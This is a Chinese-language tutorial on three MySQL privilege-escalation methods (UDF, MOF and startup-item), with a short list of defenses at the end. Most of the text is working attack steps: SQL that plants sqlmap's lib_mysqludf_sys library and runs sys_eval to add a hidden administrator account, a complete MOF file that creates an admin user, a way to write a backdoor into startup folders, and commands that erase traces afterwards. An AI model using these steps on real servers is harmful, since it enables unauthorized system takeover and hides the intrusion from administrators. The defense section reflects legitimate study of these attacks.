MySQL提权的三种方法
字数 1466 2025-08-15 21:34:06
MySQL提权技术详解
一、MySQL提权概述
MySQL提权是指通过MySQL数据库漏洞或配置不当,获取系统更高权限的过程。本文详细讲解三种主要的MySQL提权方法:UDF提权、MOF提权和启动项提权。
二、MySQL提权前提条件
-
基本条件:
- 具有MySQL的root权限
- MySQL以system权限运行(Windows)或root权限运行(Linux)
- 具有执行SQL语句的权限
-
获取root密码的方法:
- 查看数据库配置文件(关键字:config、conn、sql、data、inc、database等)
- 下载MySQL安装路径下的数据文件(路径:安装路径\data\mysql\user.MYD)
- 暴力破解
三、UDF提权(用户自定义函数提权)
原理
UDF(User Defined Function)允许通过添加新函数扩展MySQL功能,通过调用DLL中的函数实现特殊功能。
Windows UDF提权
条件
- MySQL版本>5.1:udf.dll必须放在MySQL\Lib\Plugin\目录(需手动创建)
- MySQL版本≤5.1:
- Windows Server 2003:c:/windows/system32/
- Windows Server 2000:c:/winnt/system32/
- 有insert和delete权限
- 有写入目标目录的权限
步骤
-
获取DLL文件:
- 路径:sqlmap/data/udf/mysql/windows/
- 使用sqlmap的cloak.py解码:
python /sqlmap/extra/cloak/cloak.py -d -i /sqlmap/udf/mysql/windows/64/lib_mysqludf_sys.dll_
-
上传DLL文件:
select LOAD_FILE('C:/可写目录/lib_mysqludf_sys.dll') into dumpfile 'C:/phpStudy2016/MySQL/lib/plugin/lib_mysqludf_sys.dll'; -
创建函数:
create function sys_eval returns string soname 'lib_mysqludf_sys.dll'; -
执行命令:
select sys_eval("whoami"); select sys_eval("net user winhex passw@ord /add"); select sys_eval("net localgroup administrators winhex /add"); -
清理痕迹:
drop function sys_eval; delete from mysql.func where name='sys_eval';
Linux UDF提权
条件
- my.ini中[mysqld]下添加:secure_file_priv=""
- MySQL以root权限运行
- 有SQL执行权限
- 导出目录可写
- SELinux关闭
步骤
-
查找插件路径:
show variables like '%plugin%'; -
获取.so文件:
- 路径:sqlmap-master\data\udf\mysql\linux\64\lib_mysqludf_sys.so_
-
16进制编码后写入:
select unhex('so文件的16进制编码') into dumpfile '/usr/lib64/mysql/plugin/xxx.so'; -
创建函数:
create function sys_eval returns string soname 'xxx.so'; -
执行命令:
select sys_eval('whoami');
四、MOF提权
原理
利用C:\Windows\System32\wbem\MOF目录下的nullevt.mof文件每分钟执行的特性。
条件
- 仅适用于Windows(XP、Server 2003等低版本)
- 对C:\Windows\System32\wbem\MOF目录有读写权限
- 能找到可写目录上传mof文件
步骤
-
创建mof文件(内容如下):
#pragma namespace("\.\root\subscription") instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent " "Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; }; -
上传并执行:
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof';
补救措施
-
停止服务:
net stop winmgmt -
删除文件夹:
C:\Windows\System32\wbem\Repository -
重启服务:
net start winmgmt
五、启动项提权
方法
通过MySQL将后门写入开机启动项:
-- 将恶意脚本写入启动目录
select "恶意命令" into dumpfile "启动目录路径";
注意
- 需要重启服务器才能生效
- 启动目录通常为:
- Windows: C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
- Linux: /etc/rc.local 或 /etc/init.d/
六、防御措施
-
最小权限原则:
- MySQL不要以system/root权限运行
- 限制用户权限
-
文件权限控制:
- 限制plugin目录写入权限
- 限制MOF目录写入权限
-
配置安全:
- 设置secure_file_priv为特定目录或空值
- 禁用不必要的功能
-
监控与审计:
- 监控异常SQL操作
- 定期检查mysql.func表
-
其他措施:
- 及时更新MySQL版本
- 使用强密码
- 关闭远程访问或限制IP